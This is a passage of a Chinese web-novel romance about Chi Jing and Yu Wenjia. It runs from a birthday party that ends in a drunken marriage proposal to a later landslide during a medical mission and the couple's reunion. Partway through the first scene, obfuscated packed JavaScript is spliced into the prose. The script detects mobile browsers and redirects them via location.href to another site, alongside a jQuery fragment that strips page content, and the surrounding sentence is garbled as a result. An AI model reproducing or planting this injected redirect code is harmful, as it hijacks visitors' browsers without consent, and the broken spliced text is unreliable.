池镜记得余闻嘉小时候挺挑食的,饭量也小,那时候余闻嘉个子矮小,他总觉得余闻嘉发育不良。 “怪不得这几年个子窜那么快。”池镜笑着说,“多吃饭确实长高高啊。你以前挑嘴,这不吃那不吃的。” “长高高跟吃多少饭没关系。”余闻嘉学他说叠词,同时反驳:“我这是遗传。” 这倒也不无道理,余闻嘉爸妈个子都挺高,尤其是他的父亲。余父是戍边军人,常年在外,池镜少时见过他一次。 余闻嘉看了Allen一眼,正好撞上他的视线,对方挑眉一笑:“Hi.” 余闻嘉礼貌地点了点头。 “我叫Allen.”Allen主动自我介绍,“是池镜的大学同学。” 出于礼貌,余闻嘉也介绍了一下自己:“余闻嘉。” “你还未成年?”Allen突然问。 余闻嘉很轻地皱了下眉,有点莫名其妙:“成年了。” “是吗……”Allen缓缓点头,别有深意地看了池镜一眼,“Carlos这么紧张,我还以为你没成年呢。” 余闻嘉听得云里雾里的,疑惑地看向池镜。 “你的眼睛很漂亮。”Allen看着余闻嘉的眼睛说。 池镜声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14192810|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音沉下来:“Allen.” “我只是表述事实,他的眼睛确实很漂亮。”Allen不甚在意地笑笑,“别这么严肃,Carlos,你的忠告我肯定会放在心上的。” 管家过来找池镜,询问他现在是否需要拆生日蛋糕,池镜点头道:“可以。” 蛋糕是池明订的,他现在财大气粗,但凡花钱的事总是冲在前头。池明知道他哥今天叫了很多朋友,特意订了个特别大的蛋糕。 碰巧这会儿池明来了电话,池镜走去僻静的角落接了电话,通完电话一转头,余闻嘉就在他身后。 “怎么了,跟着我。”池镜把手机揣进兜里。 “你同学刚才说的话是什么意思?”余闻嘉问他。 池镜就知道他不会略过这一茬,坦言道:“他对你有意思。” 余闻嘉不由得一愣,表情有些茫然。 “感觉不出来啊?”池镜走近他,视线微微向上,盯着他的眼睛,“都那么直白地夸你眼睛好看了。” 这种话余闻嘉从小到大听多了,根本不觉得有什么奇怪。他垂眼看着池镜,两个人这么近距离地面对面,他脑子其实一瞬间有些空白,注意力全在池镜的眼睛上。在他看来,池镜的眼睛才是真的漂亮。池镜是内双,眼型比较细长,眼皮薄薄的,眼尾有些上挑,笑起来尤为好看——他眼下就在笑。 余闻嘉移开视线,同时后退了一步。 池镜见余闻嘉表情别扭,以为这事引得他反感了。 “这事儿你不用放心上,他不是那么没分寸的人。”池镜说。 “没放心上。”比起这个,余闻嘉更放在心上的是池镜的忠告,“他说的忠告,是什么?” “还能是什么,”池镜笑了声,“我让他别招惹你。” “为什么?”余闻嘉下意识问。 余闻嘉的问题让池镜匪夷所思,他都有点怀疑刚才自己是不是多管闲事了。 池镜弹了一下他额头:“还‘为什么’?怎么,你想人家‘招惹’你?” “我问的是你,”余闻嘉看着他,他想知道池镜这么做的理由,迫切地想知道,“你为什么要给他忠告?” 可有些话问出口就不是那个味儿了。 “因为他跟你不是一路人,他——”池镜顿了一下,突然噤声,迟疑地看向余闻嘉。 难道真是多管闲事了? 仔细想想,这么做似乎确实有点越界,归根结底这是余闻嘉自己的事,他其实没权利干涉那么多,还单方面跟Allen说那些话。 余闻嘉已经不是以前那个总是跟在他身后的小男孩,他们之间的相处模式也早就跟以前不一样了。 这件事是需要干涉的,但以后余闻嘉要有点别的什么事,他总不能每次都管这管那的。 “这个习惯不好,看来以后得改改了。”池镜突然自言自语地说了一句。 “什么?” “没什么,”池镜笑着摇了摇头,“稍微自我反省了一下。” “反省什么?”余闻嘉不由得蹙起眉心,池镜的话让他莫名地感到不舒服。 “反省自己干涉太多。”池镜说。 “干涉?”余闻嘉眉头皱得更深,心在往下沉,“……我?” 池镜点了点头。 余闻嘉的眼神瞬间黯淡了下来。 20.第 20 章 20 客厅突然一暗,管家把大灯关了,推着插了蜡烛的蛋糕从厨房走出来,他一出来,就有人欢呼了一声。余闻嘉在昏暗中沉默地看着池镜,他们的对话也就此中断。 “寿星还杵这儿干嘛呢。”有人过来把池镜拉去了客厅,不知是谁带头唱起了生日歌,一群人将池镜围在中央,跟着生日歌的节奏边唱歌边拍手。池镜快三十了,其实还是头一回跟这么多人一起过生日,回想过去那几年……今天,还真是热闹。 许愿,吹蜡烛,在一片祝福声中,池镜下意识抬头找余闻嘉,看到他站在最外圈,嘴唇微动,似乎是说了一句“生日快乐”。 管家分完蛋糕后,池镜忙着招呼他的朋友同学,余闻嘉本想找个没人的地方待着,丁铭却给他拿了一小碟蛋糕过来:“来,蛋糕。” 余闻嘉不喜欢吃甜的,但还是接过说了声“谢谢”。 丁铭笑着问他:“不太喜欢这种场合吧。” 余闻嘉说:“还好。” 余闻嘉脸上的厌世味都能冻死人了,丁铭不相信他只是“还好”。 丁铭的话倒是提醒了余闻嘉,这样的场合,池镜的生日,自己要是表现得不太合群,似乎不太好。 丁铭这边刚坐下,转脸就看到余闻嘉走了过来,坐在了离他不远的单人沙发上。丁铭拿了个杯子问他:“喝点什么?你喝酒吗?” 余闻嘉摇头。 “那饮料?还是凉茶?” 余闻嘉想了想,说:“凉茶吧。” 丁铭给他倒了杯凉茶,放茶几上轻轻一推,杯子滑到了余闻嘉面前。 “谢谢铭哥。” 丁铭笑着说了声“不客气”。 池镜一直在招呼朋友,余闻嘉跟他说不上话,他食不知味地吃着蛋糕,下意识去摸口袋里的手机,摸了个空,这才想起来手机落在厨房了。 余闻嘉回厨房拿了手机,发现他妈五分钟前给他打了电话,他回拨过去,在厨房跟他妈通了会儿话。 余闻嘉从厨房出来的时候发现沙发那儿聚了不少人,丁铭拿着话筒在唱歌,他扫视一圈,不见池镜的身影。 余闻嘉坐了回去,蛋糕已经吃不下了,他被奶油腻得有点反胃。他端起刚才的凉茶喝了一口,不知道谁往杯子里倒了酒,一口下去呛得他咳了起来。 他心不在焉,满脑子都是池镜刚才说的那些话,喝这一口时根本没来得及分辨,直接入喉。从来没喝过酒的余闻嘉脖子一下子变得通红,丁铭刚巧唱完歌,走过来看到他从脖子到脸整个都红透了。 “怎么了这是?”丁铭拍了拍他的背。 余闻嘉捂着嘴闷声咳嗽,头已经开始有点晕了。 “喝酒了吧?”旁边有人说了一句,“是不是拿错杯子了。” 丁铭转头看了眼桌上的酒杯,拿到鼻子底下仔细地闻了闻,杯子倒是没拿错,但不知道是哪个喝糊涂了的老兄往这里面倒了酒,还跟凉茶一个颜色,应该是度数不低的洋酒。洋酒不像白酒,味道闻起来没有那么大,余闻嘉刚才喝之前八成没留神。 看样子余闻嘉应该也没喝多少,丁铭给他拿了瓶矿泉水,笑道:“你这是一点酒都喝不了啊,脸红成这样。难受吗?” 余闻嘉垂着脑袋没说话。 丁铭弯腰看了看他:“没事儿吧?” 余闻嘉摇摇头,嗓子有点哑:“没事。” 庄楚接完电话独自在院子里待了一会儿,进来的时候看到客厅茶几上放着已经分掉一半的蛋糕。进屋后没多久,他爸的电话就打了过来。庄楚朝卫生间的方向走去,冷着脸接了电话。 他停在长廊拐角处,听他爸说话,他爸冷静又不容置喙地指出他必须重新考虑跟某人的关系。 “谢家,对我们家的生意会有很大助力,你要搞清楚这一点。” “跟我有什么关系?” 庄楚有自己的事业,家族生意并未参与其中,庄父对此也确实没道理借题发挥。 他缓和态度,换了个切入口,但语气依旧强硬:“你也到年纪了,还不需要考虑这方面的事吗?” “所以我就一定要选择他?为了你的生意?” “那你有的选吗?”庄父的声音冷了下来,“别以为你做的那些荒唐事我都不知道,也别以为我不知道你在想什么,你真是把人生当儿戏。” “荒唐?在你眼里,什么算是荒唐?不服从你的要求和命令就算是荒唐了吗。” “你以为你单单是荒唐在这吗?我怎么会养出你这样的儿子。” 庄楚满不在乎地笑笑:“不就是你把我养成这样的吗,我这副样子,不是随了你吗。自私,冷血,虚伪,这都是随了你啊,爸。” 余闻嘉喝了小半瓶矿泉水,头晕仍然没有得到缓解,并且酒劲慢慢上来,他的头还越来越晕了。他能清晰地感觉到自己的意识在渐渐变得恍惚,就像临睡前的状态,思绪和思维都很混乱,脑海里唯一清晰的是池镜的面孔。余闻嘉抬起头,视线里的人都在晃动,他找不到池镜的身影,于是脑海里的人影也渐渐模糊了。 丁铭侧身凑过来,一脸担心地看着他:“你确定你没事?要不要扶你上楼躺会儿?楼上有房间。” 余闻嘉闭了下眼睛,嗓音变得格外沉,他问丁铭:“池镜呢?” “不知道啊,去洗手间了吧。” 余闻嘉呼吸沉重,扶着沙发靠背慢慢站起身,丁铭扶了他一下:“我带你上楼躺会儿吧,你这样池镜回来了我没法儿跟他交代。” 余闻嘉把胳膊从他手里抽出来,缓缓摇了下头,说:“我去洗手间。” “我带你过去。” 余闻嘉摇头,自己一个人过去了,丁铭从后面看他走路挺正常的,不像喝多了的人一样脚步打晃,就是走得很慢。 池镜因为胃疼,在洗手间待了很久。他今天没有喝太多,但喝了混酒,后劲大,现在头有点晕,胃里也烧得慌。回国前他有很长一段时间没喝过酒,胃也有一阵没犯过病了,最近跟朋友聚得多,喝得比较频繁,今天算是一次爆发,疼得他额头都出汗了。 池镜打开水龙头洗了把脸,抽了几张纸巾把脸上的水擦干,之后扶着水池,低头捂着胃缓了好一会儿。 不缓不行,总不能一脸病色地出现在他那帮朋友面前。 池镜等胃没那么疼了才出洗手间,一出来就看到不远处庄楚靠墙站着,手臂直直地垂在身侧,手里握着手机。他头向后抵在墙上,微微仰头看着某一处放空。听到脚步声,庄楚侧了下头,池镜发现他面若冰霜。 庄楚的表情凝滞两秒,随即脸上又挂上了那一贯的不带温度 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池镜只能笑笑:“都躲不过这一遭。” 庄楚话锋一转:“所以我之前给你的提议,你要不要再考虑一下?” 池镜一时间没说话。 庄楚眯了下眼睛:“你忘了?” 池镜没忘,但也没放在心上。 池镜摇头,他刚想开口,却被庄楚堵了回去:“你不是说家里有长辈生病了,盼着你早点结婚成家吗。老被催婚你也觉得很麻烦吧,你大可接受我的提议,这样既能解决你的麻烦,也能解决我的——” “事后我会安排好一切,你只需要给我个回答。” 池镜沉默地听着,表情没有什么变化。 庄楚再一次问他:“池镜,你要不要考虑跟我形婚?” 余闻嘉扶墙站着,整个人已经晕得天旋地转,他意识恍惚地听着庄楚对池镜说的那些话,听得最清楚的就是这一句“你要不要考虑跟我形婚”。 余闻嘉不知道自己是受酒精影响,还是出于本能,他手撑了一下墙站稳,径直朝池镜的方向走去,行动不再受理智控制。 池镜正要开口,一抬眼却看到余闻嘉阔步向这边走来,一言不发地径直走到他面前。池镜这才注意到余闻嘉脸和脖子都是红的,身上还带着点酒气。 余闻嘉直直地看着他,这个状态像是喝酒了,但眼里又有神,似乎很清醒。 “你——” 没等池镜开口,余闻嘉突然不带任何表情且语气没有一丝迟疑地说了一句: “镜哥,请你跟我结婚。” 酒精可能还影响了余闻嘉大脑的语言组织系统,他脑子里那几个词胡乱一凑,话到嘴边就蹦出来这么一句——当然,酒精也刺激意识,牵出了他内心深处最真切的渴望。 池镜怔住了。 余闻嘉恍惚中记得自己好像是第一次从池镜脸上看到这么震惊的表情,震惊到眼眸好像都在颤。 他的意识越来越混乱了,眼前池镜的脸也变得越来越模糊。 池镜怔了好久,直到余闻嘉眼神逐渐变得迷离,下一秒眼睛一闭,猛地往前一倒,脑袋靠在了他肩上。 50-60 第51章 第 51 章 雨停了。 51 池镜额头上的包第二天就消了, 但是淤青还没散,他日常工作经常要开会,有时还要会见一些高官政要, 在正式场合露面,脑门上顶着一块淤青也不像个样子。早晨到单位, 陈逸飞给他出了主意, 建议他可以拿女孩子化妆用的粉饼遮一遮。 池镜对化妆品一窍不通, 坐办公室里问陈逸飞:“就那种扑脸上的粉?能遮住?” “多少应该能遮掉点,就跟化妆遮黑眼圈一样嘛。” 池镜点了点头,觉得他说得有理。 于是当天晚上池镜去了趟商场, 从没买过化妆品的他随机走进了一家品牌化妆品专柜,跟店员讲明需求后,在店员的推荐下买了一样叫“遮瑕膏”的东西。 之后几天池镜就拿这东西遮自己的淤青,每天上班前还得往自己脸上抹点东西。 池镜在余闻嘉出差回来的前一天晚上给他发了条消息:明天什么时候的飞机? 余闻嘉:晚上。 池镜:那我来接你。 余闻嘉:不用,落地肯定很晚了, 你早点休息,我自己回。 池镜:到时候再看。 周五,二院心外科援滇医疗义诊活动的最后一天,医疗队头三天的主阵地在市医院, 之后就是下县城巡回义诊。这次医援主要针对的就是当地贫困地区, 所以医援点基本都在地处山路地段的偏远县城。 心外科医疗队一行人开了两辆大巴, 这几天除了在县医院给病患检查看病,刨去吃饭休息的间隙,援滇的大夫们大部分时间都是在车上。 大巴行驶在盘山公路上,医疗队结束了最后一站的活动,正在返程去机场的途中。 春季多雨,这几天云南这边一直在下雨, 连着几天阴雨连绵,天灰蒙蒙的。大巴在路上开得很慢,这雨下得没有停的架势,车窗上的雨水像倾倒下来的一样。 余闻嘉在第一辆大巴上,坐在前排靠窗的位置闭目养神。他旁边的医生看了眼窗外的雨势,叹着气小声说了句:“这雨下的,估计飞机得晚点了。” 余闻嘉睁开眼往窗外看了一眼,这边都是盘山公路,入眼就是山腰,山上有松软的泥块滚落,连着几天的雨把山腰的绿植都冲弯了。 他拿出手机看了眼,山路上没有信号,手机连不上网。 余闻嘉收起手机,又往窗外山腰上看了一眼。 那些滚落的泥块不是什么好的预兆。 这种路段遇到持续性大雨,发生山体滑坡的概率很高,但是现在车开在路上,前后都是山路,除了继续往前开也没别的选择。 怕什么来什么。 雨势渐弱,大巴在路上安安稳稳地又行驶了二十分钟,旁边医生从包里拿了包坚果递给余闻嘉,余闻嘉接过说了声“谢谢”,话音刚落就听到一阵“轰隆隆”的闷响。 “我靠!”后面有人喊了起来,“滑坡了!” 不远处,距离大巴五米的路段,山上的绿植泥石如流水般倾泻下来。雨天路滑,后面还跟着另一辆大巴,司机反应再迅速,也不敢紧急刹车,怕追尾。他打开双跳赶紧减速,但距离实在太近,根本来不及后撤避开了,碎石砸到了大巴上,“砰”的一声,余闻嘉前侧的窗户被砸破了。 玻璃差点飞到旁边医生的脸上,他眼疾手快地把对方往旁边推了一下,被飞溅的玻璃刮伤了手背。 乱石沿着山坡滚下来,四处飞溅的石块将大巴窗户一扇扇地砸破,车里的人根本来不及躲避,两辆大巴在生死时速之间同时迅速倒车后退,伴随着轰隆隆的巨响,山上的泥石加速滚落,没过片刻便像洪水一样汹涌而下。 巨石翻滚,尘土飞扬。 晚上,池镜和池明一起在胡同老宅吃饭,吃完饭池母从厨房搬了两箱枇杷出来,说是亲戚家果园里种的,前几天送了几箱来,这两箱是给余闻嘉妈妈留的,让池镜回去路上捎带给亲家母。 “亲家母”这个称呼让池明坐车上笑了半分钟。 余闻嘉和池镜平时都挺忙,日常跟长辈接触不多,跟池明见得也少,在池明这他俩的婚姻基本没什么存在感,换言之,就是两人结了有种没结的感觉。 所以他妈嘴里冷不丁冒出个“亲家母”,听着就很滑稽。 “看来下回见着余闻嘉我得喊声‘哥夫’了。”池明坐在副驾上说,“称呼这方面一直没咋注意,我太不懂事了。” 池镜转头瞥了他一眼。 余闻嘉这阵子在云南参加医援活动,池明也有很久没见过他了。提到余闻嘉,池明就想起了上次池镜出差,余闻嘉一个人去看电影的事。 “有件事我可得跟你提一下。”池明说,“上次你出差,某人可是一个人去看了电影。” 池镜开着车没说话,池明转头看向他:“他就不是个会去电影院看电影的人,还一个人去。是不是约了你了啊,没约成?” 池镜依旧沉默。 “没约成他还非得一个人……哥,你是客观上去不了,还是主观上去不了啊?” “我去了。”池镜说。 池明挑了下眉,有点意外:“所以你俩现在是个什么情况?” 池明也就是看着吊儿郎当,其实心思很活泛,他能问池镜这个,就说明他早看出来点什么了。池镜不太想跟他聊这个:“什么情况也不是。” 池明嗤笑一声,拿出手机玩,低着头说:“什么情况也不是,但还是没舍得让人家一个人去看电影。啧。” “你不喜欢他啊。”池明直接问了句。 池镜没回答。 “没回答就是否认了。”以池明对他哥的了解,他大概能猜到他哥对余闻嘉感情的态度,也能猜到他哥为什么会是这个态度,“那你到底怎么想呢,觉得你俩在一块不合适?不想耽误人家?” “今天当上情感大师了?”池镜终于开口。 “我是怕你理智过头,理智糊涂了。”池明打开窗,从烟盒里拿了支烟抽。他跟余闻嘉认识那么久,从小看着余闻嘉怎么跟他哥处的,就算以前没看出什么来,现在还看不出来吗。 池镜从没糊涂,但这段时间似乎也越来越清醒。 池明咬着烟看他一眼:“感情上的事要那么理智干嘛。” 池镜先把池明送回了他住的地方,然后去了余闻嘉家。他按了几下门铃,家里没人应。想着余闻嘉妈妈可能是不在家,他给她打了通电话。 余母一听池镜来给他送东西,带着歉意道:“哎哟我还在外头吃饭呢,一时半会儿还回不来。” “没事儿,我就打电话跟您说一声,枇杷我放门口,这门口能放吗?” “你直接搁屋里吧。”余母没把池镜当外人,直接把门锁密码告诉了他,“真麻烦你了,还特意跑一趟。” “不麻烦,顺路的事。那我先挂了啊,东西给您搁屋里。” 余母想起了什么,跟池镜说:“哎对了,小镜,闻嘉书房里有两本书,你一会儿走的时候顺带给他带回去吧。我之前在博物馆给他买的,一直没机会拿给他,书就在书桌抽屉里。” “行。” 池镜挂了电话,输密码开门,把枇杷搬进屋里后,去了余闻嘉书房。书房门是开着,书桌靠窗,左右两边都是书架,书架上摆满了书。池镜心想还好余闻嘉妈妈没把书塞书架上,不然这么多书,不知道要找到什么时候去。 池镜走到书桌前,脚步微微一顿。 桌上放着一张相框,相框旁边摆着的是池镜很多年前送给余闻嘉的宇航员模型。 巴掌大小的小摆件,做工很精致。 池镜拿起模型看了眼,手指在宇航员小人的脑袋上轻轻蹭了蹭。 余闻嘉的书桌收拾得很干净,桌上只有一盏台灯、一张相框和这个摆件。 池镜把摆件放回去,拉开了书桌抽屉。 余母买给余闻嘉的书还没拆封,连同包装袋一起放在抽屉里。别说桌面,余闻嘉连抽屉里都没放什么东西,看着清清爽爽的,没几样杂物。池镜把书拿出来,余光扫到抽屉角落有个白色的护腕,他定睛看了眼,陡然间一愣。 护腕有些发黄了,上面还有血迹没洗干净留下的浅色印记。 这是池镜的护腕。 池镜怔怔地看着那个护腕,在桌前站了很久。 今天本该是余闻嘉回来的日子,池镜却一整天没联系到他,白天发了两条消息他都没回复,刚才打了个电话也没打通。 池镜坐在车里,又给余闻嘉打了个电话,还是没打通。 池镜电话打了一圈,没人能联系上余闻嘉,最后他把电话打到了陆思远那里。 陆思远还在医院值班,接到池镜的电话有点意外。 池镜是想通过陆思远联系一下李彻,他不知道李彻有没有去云南参加医援活动。 “他去了啊。”陆思远有点摸不清状况,“怎么了?” “我打不通余闻嘉电话,你能联系到李彻吗?” “你等会儿,我打个电话试试。” 池镜先挂了电话,不一会儿,陆思远回电,跟他说李彻手机关机了。 池镜皱着眉。 唯一能联系上余闻嘉的人都断了联系,他实在有点担心。 “可能是上飞机了。”陆思远说。 “不会。我白天给他发的消息他就没回。” “总不会是出了什么事吧。”陆思远也担心了起来,“这样,我去他们科里问问,等会儿再打给你。” 池镜心神不宁地坐在车里,十分钟后等到了陆思远的电话。 “他们车队在返程途中遇到山体滑坡了。”陆思远的语气明显变了。 池镜心里一紧:“什么?”他脑子有一瞬间的空白,愣了一下立马又问:“情况怎么样?有人受伤吗?” 陆思远迟疑了一秒,声音变得有些沉:“……有。具体情况他们科里那几个大夫也不是很清楚,只知道他们医疗队跟着当地救援队去附近的医院支援了,那边有个村庄被压了不少人。” 虽然医疗队跟着去支援了,但队伍里也有很多医生都受了伤。 池镜手心出了冷汗,他不知道余闻嘉有没有受伤,如果受伤了又伤得多重?他不敢多想。 余闻嘉的电话始终没有打通,池镜在车里坐了很久,最后打开手机订了一张今晚去云南的机票。 订完票,他从陆思远那里问到了医疗队支援的医院地址。 他不可能呆呆地在家里等上一晚上,要是明天早上还联系不上余闻嘉又怎么办?要是余闻嘉真的出了意外怎么办?他现在根本没办法静下心来。 他想见余闻嘉,想看到他安然无恙地站在自己面前。 这场滑坡让山脚的一片村庄遭了殃,房屋被毁,村民受伤失联。大巴被困在山路上,车身和顶部被石块砸出了很多大大小小的坑,好几个大夫都受了伤。手机没有信号电话都打不出去,一行人等了一个多小时才等到救援人员。 山体滑坡导致山脚村庄被掩埋,被救援出来的受伤村民一批一批地送往临近医院救治。这地方太偏了,医院医疗资源有限,医护人员十分紧缺,医疗队又折返回刚刚才离开的地方,跟着救援队伍去县医院支援了。 情况远比想象得要糟,医院门口停满了救援车辆,送来医院救治的伤患太多了。 天已经黑透了,余闻嘉下了车,他自己手上还在流血,顾不上这点伤,紧跟上队伍去查看伤患。简单的外伤救治和紧急抢救对他们这些外科医生来说都是基础操作,他们的到来也让本来手忙脚乱的本院医生有了喘息的时间。 池镜出发去了机场,上飞机前又打了一通电话给余闻嘉,这次通了,但没人接。 四小时后,飞机落地。 池镜到本市的时候已经是晚上一点了,机场距离余闻嘉他们医援的那个县城还有两百多公里的距离,开车过去至少还要三个多小时。 池镜在机场附近叫了辆车,上车前司机先跟他说了价,因为是半夜出车,肯定得加价。价格谈妥后,池镜上了车,眉头紧锁地看着窗外。 余闻嘉的电话是能打通了,但一直没人接,他也没回过电话,池镜的心一直是悬着的。 “小伙子,我只负责送你到县城啊,你要去的那地儿太偏了,都是山路,这连下了好几天雨,那边山路容易滑坡,不安全。”司机有点纳闷,“这大半夜的,你上那儿去干嘛呀?” “找人。” “啥时候不能找啊。”司机看了眼窗外,“这雨又下起来了,还不知道啥时候能停。” 池镜坐了三个半小时车到县城,出于安全考虑,司机只能把他送到这,但也给他推荐了个租车的地方。 池镜从县城出发,自驾前往目的地。 这一路都是盘山公路,但地势相对来说没那么高。窗外雨落不止,池镜的视线变得有点模糊,他把雨刮器调到最快那档。离目的地越近,他的神经就越紧绷。 不知过了多久,他开出了山路,开到了一片开阔的地带。视线之内渐渐出现了一些车辆——救护车,消防车。 此时已经清晨六点了,阴云遮住天幕,天色也只亮起一点点。 再往前开就是医院,医院门口都是车,池镜把车停在了医院附近的停车点,下车快步走进了医院。 救援工作持续了整整一夜,医疗队的支援也持续了整整一夜。送来医院的伤患越来越少,二院的很多医生已经撤退去酒店休息了。 余闻嘉累得精疲力尽,从医院出来的时候手都有点发颤。 天边阴云散开,微弱的晨光从云层后面透出来。 雨停了。 余闻嘉抬头看了眼天,才意识到原来已经早晨了。 他低头揉了揉眉心,抬头睁眼时看见远处走来一道熟悉的身影,遥遥相望的瞬间,那道身影突然一顿,停在了原地。 余闻嘉怔了一下,以为自己看错了。 没时间给他反应,那道身影已经迈开步子朝他疾步走来。 余闻嘉也向前踏了一步,他因为过于诧异而显得反应有些迟钝,直到池镜走到他面前,他都还是一副没过神的表情。 “镜……” 余闻嘉的声音沉没在池镜的拥抱里。 池镜沉默地、紧紧地抱住了他。 余闻嘉闭上眼睛,抬手用力地搂住了他,将他拥在怀中。 池镜的衣服和头发都有些潮湿,他的脸贴着余闻嘉的颈侧,皮肤很冰冷。 两人静静抱了许久,余闻嘉略微侧过头,在池镜耳边低声问:“你怎么会来。” 池镜松开手,从他的怀抱中离开。 “我来告诉你我的答案。” 说罢他搂住余闻嘉的后颈,凑上前在他唇上轻轻吻了一下。 第52章 第 52 章 近乡情怯。 52 池镜扣着余闻嘉脖子的手是用力的, 但这个吻却是轻柔的,轻轻一碰,一触即离。 不知道是不是这一吻太过突然, 余闻嘉似乎是被亲懵了,半天没有反应, 只是直直地盯着池镜。 池镜看他一动不动, 表情发怔, 笑着问了句:“我给你点穴了?” 说罢视线移向余闻嘉的嘴唇:“那要不再亲一下给你解穴?” 余闻嘉嗓音有些发哑:“把你刚才的话再说一遍。” 池镜要说的话都在刚才那个吻里,于是他身子往前一靠,又在余闻嘉嘴唇上碰了一下, 亲的时候眼睛是睁着的,视线微微向上,追寻着余闻嘉的目光。 “这就是我要说的话。”池镜注视着他。 余闻嘉呼吸顿错了片刻。 池镜又说:“这也是我的答案。” 余闻嘉拉着他往自己身前一拽,两人几乎贴在一起。 “解穴了?”池镜手被余闻嘉抓着,指尖在他手心轻轻刮了下。 “解了。”余闻嘉紧紧握着他的手。 余闻嘉还是克制, 到这份上了,也只是抱一抱池镜,没有更进一步的亲密行为。 也还好只是抱在一起贴了贴,因为身后来人了, 脚步声和说话声渐近, 余闻嘉松开了池镜。 路过的两个大夫跟他打招呼, 都是满脸疲意。 “你是忙到现在才歇?”池镜问余闻嘉。 余闻嘉点了点头。 池镜余光瞥见余闻嘉手背的伤口,拉起他的手看了一眼,皱眉道:“除了手上还有哪伤着没?” “没有。”余闻嘉问他,“你怎么知道我在这边?” “问陆思远的。打不通你电话,我担心出了什么事。” 余闻嘉昨天在山路上手机一直没信号,坐的那辆大巴被乱石砸得没法再开了, 县医院后来又安排了一辆大巴来接他们。到了医院换上白大褂他就下车了,急着去救治伤患,压根没顾得上看手机。他的手机在外套口袋里,换白大褂的时候外套被他放在车上了,所以一直没接到池镜的电话。 这一晚上他连喝个水的工夫都没有,忙晕了,都没想起来要联系一下池镜。 “我手机没在身上,昨天太忙了,忘了给你打个电话。”余闻嘉皱着眉,“对不起。” “说什么对不起,”池镜轻轻捏了捏他手指,“你是在救死扶伤。” “给你打个电话你也不至于这么担心。” 余闻嘉怎么也没想到池镜会连夜赶来这边找他,那么远的路途,他牵住了池镜的手:“走吧,回酒店。” 余闻嘉去大巴上拿了外套和行李,他身上还穿着白大褂,在车上把白大褂脱了,换上了自己的外套。两人离开医院的时候,池镜问他救援情况怎么样,他大致跟他说了一下。目前没有人遇难,但是有几个失联人员,救援队那边还在搜救。 余闻嘉住的酒店就在医院附近,还是他前两天住的那个,县医院给他们医疗队安排的,他们现在返回来支援,又给他们安排住了那里。 池镜租的车还停在医院外面,他直接开车跟余闻嘉去了酒店。 刷卡开门,两人一前一后走进屋里,这是间不带窗的房间,池镜随手开了盏灯,屋里也没多亮,还是暗暗的。 池镜把门关上,转身的一瞬间被余闻嘉抱住了。他很自然地抬起胳膊环住了余闻嘉的腰。 余闻嘉将他拥得更紧。 “怎么头发和衣服都是湿的,”余闻嘉掌心覆在他后颈,顺着发梢往上抚了一下,“淋湿的?” “是啊,来的路上雨挺大的,冒雨租车。” “那么大雨还一个人开车过来,不知道很危险吗。” “我为了谁非要一个人开车过来,”池镜嘴唇凑到他耳边,“你心里不清楚吗。” 他的鼻尖在余闻嘉鬓角似有若无地蹭了一下,轻声道:“怎么还要批评我啊。” 余闻嘉松开他,略微低下头,额头轻轻抵着他的额头:“没批评你。是担心你。” 两人凝望彼此,呼吸交错,余闻嘉只要再往下低一点头,就能吻到池镜的嘴唇。 然而他却迟迟没有下一步动作,维持着这个亲密又纯情的姿势。 他的目光描摹着池镜脸上的每一寸地方,最后落在嘴唇,流连在那处。 “要亲你了。”他低声开口,语气像是在征求池镜的同意。 池镜没说话,他当真没吻过来。 池镜哑然失笑,问他:“你这是近乡情怯了吗?” 余闻嘉点了下头:“是。” “亲呗。”池镜用行动告诉他用不着近乡情怯,他主动凑过去,嘴唇几乎贴到他的嘴唇,“我就在这,我是你的。” 在他的引导下,余闻嘉吻了上来,贴住他的嘴唇。 池镜从来就不是个扭捏的性子,他既然心里已经有了答案,也认清了余闻嘉在自己心里的份量,就不会再回避自己的心。 他会毫不保留、毫不掩饰地表达自己的偏爱与爱。 这一刻,情绪内收的反倒是余闻嘉。 正如池镜所说,他有点近乡情怯了。 他的吻像他的拥抱一样纯情,双唇紧闭,在池镜唇上碰了一下就离开了。 池镜眨了眨眼睛,看着他上下滑动的喉结,在心底笑了下。 “你先去洗个热水澡。”余闻嘉放开他,“别感冒了。” 说着他打开行李箱从里面拿了身干净衣服,衣服池镜可以穿他的,内裤不知道该怎么办,他这没新的。 余闻嘉先把衣服递给池镜,说:“我去超市给你买条新内裤。” 池镜接过衣服往床边一坐,笑着说:“新内裤不也得洗了才能穿么,这里有烘干机?” 很显然是没有的,县医院经费有限,给他们医疗队安排的酒店比较朴素。 余闻嘉说:“那你穿我的。” 池镜点了点头,眼神往行李箱那儿扫了一眼:“拿给我。” 余闻嘉有点强迫症,行李箱收拾得规规整整,里面每样东西都用收纳袋分门别类装起来了。他把内裤从收纳袋里拿出来的时候还有点不太明显的迟疑,池镜看在眼里。 池镜笑着起身,从他手里拿过内裤,去浴室前在他耳边低声说了句:“我们是办过婚礼、亲过嘴的关系,你在顾虑什么。还不乐意我穿你内裤呢。” 池镜进浴室关上门,余闻嘉看着浴室方向,不禁笑了一声。 其实池镜从来都这样,随性又坦荡,他跟从前唯一的区别是他也从哥哥的位置上退出去了。 他现在跟余闻嘉说笑、逗乐,都不再是以邻居哥哥的身份。 池镜很快洗完澡,穿着一身松松垮垮的运动衫从浴室里走出来,头发还没吹。 余闻嘉坐在床边发呆,闻声转头看了眼。 “去洗吧。”池镜说。 余闻嘉起身去行李箱那儿翻出一条干净的干毛巾,走过来往池镜头上一盖,捧住他的脑袋轻轻搓起来:“头发也不吹干。” “那个吹风机得一直按着,吹起来麻烦。” “你头发就这么长,吹起来能有多麻烦。——我给你吹。” 池镜脸被毛巾挡住,脸上的笑意也被挡住:“就等着你说这一句呢。” 余闻嘉笑了笑,低下头,隔着毛巾在他额头上亲了一下。 吹风机功率小,声音也小,余闻嘉给池镜吹头的时候,两人还说着话。 “一会儿下楼去吃个早饭。”余闻嘉说,“还是去外面吃?这酒店早饭不怎么样。” 